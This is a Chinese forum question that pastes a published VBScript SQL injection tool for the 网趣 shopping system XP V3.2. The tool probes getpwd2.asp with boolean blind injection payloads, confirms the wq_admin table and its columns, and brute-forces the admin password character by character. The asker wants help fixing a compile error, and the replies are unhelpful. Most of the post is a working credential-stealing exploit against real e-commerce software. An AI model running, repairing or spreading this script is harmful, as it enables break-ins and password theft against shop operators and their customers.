网趣注入漏洞··期待高人解决··

问题描述：

'Code by Tr4c3@126.com
On Error Resume Next
Dim strUrl,strRight
Set objArgs = WScript.Arguments
If objArgs.Count<>1 Then
WScript.Echo "网趣购物系统XP V3.2版 注入工具 By Tr4c3[at]126[dot]CoM"
WScript.Echo "用于默认配置的猜解，默认管理员admin,adminid=1"
WScript.Echo "Usage:Cscript getpass.vbs www.tr4c3.com"
WScript.Quit
Else
strUrl = "http://"&objArgs(0)&"/getpwd2.asp"
strFalse="注册" '特征字符
End If

'检查是否存在注入
If xPosts("username='+or+1=1+and+''='")=True And xPosts("username='+or+1=2+and+''='")=False Then
WScript.Echo "存在注入..."
Else
WScript.Echo "不存在注入..."
WScript.Quit
End if

'检查表
If xPosts("username='+or+0<>(select+count(*)+from+wq_admin)+and+''='")=True Then
WScript.Echo "存在wq_admin表..."
Else
WScript.Echo "不存在wq_admin表，退出！请手工校验。"
WScript.Quit
End if

'检查字段
If xPosts("username='+or+0<>(select+count(admin)+from+wq_admin)+and+''='")=True Then
WScript.Echo "存在字段admin..."
Else
WScript.Echo "不存在字段admin，退出！请手工校验。"
WScript.Quit
End If
If xPosts("username='+or+0<>(select+count(password)+from+wq_admin)+and+''='")=True Then
WScript.Echo "存在字段password,开始猜解密码..."
Else
WScript.Echo "不存在字段password，退出！请手工校验。"
WScript.Quit
End if

'猜测密码
pass = ""
strings = "0123456789abcdefghijklmnopqrstuvwxyz"
For j = 1 To 16 Step 1
For k = 1 to len(strings) step 1
IfxPosts("username='+or+(select+left(password,"&j&")+from+wq_admin+where+adminid=1)='"&pass&mid(strings,k,1)&"'+and+''='")=TrueThen
pass = pass & mid(strings,k,1)
exit For
End If
Next
Next

If error Then
WScript.Echo "error:" & Error.Description
Error.Clear
Else
WScript.Echo "Password=" & pass
Wscript.Quit
End If

'---------------------------------------------------------------------------------------
'Code by NP
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
'-----------------------------------------------------------------------------------------
Function xPosts(strSql)
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.open "POST",strUrl,False
xPost.setRequestHeader "Content-Type","Application/x-www-form-urlencoded"
xPost.send strSql
data=bytes2BSTR(xPost.responseBody)
If InStr(data,strFalse)=0 Then
xPosts=True
Else
xPosts=False
End if
End function
---------------------------------------------------------
上为网上公布的网趣注射漏洞的利用程序

但在cmd运行下出现
getpass.vbs(53, 1) Microsoft VBScript 编译器错误: 缺少语句

哪位高人看看语句缺少些什么？？？

问题解答：

我觉得你吧，现在去个网吧，找个网管看看，他们应该懂的吧

有趣,共同期待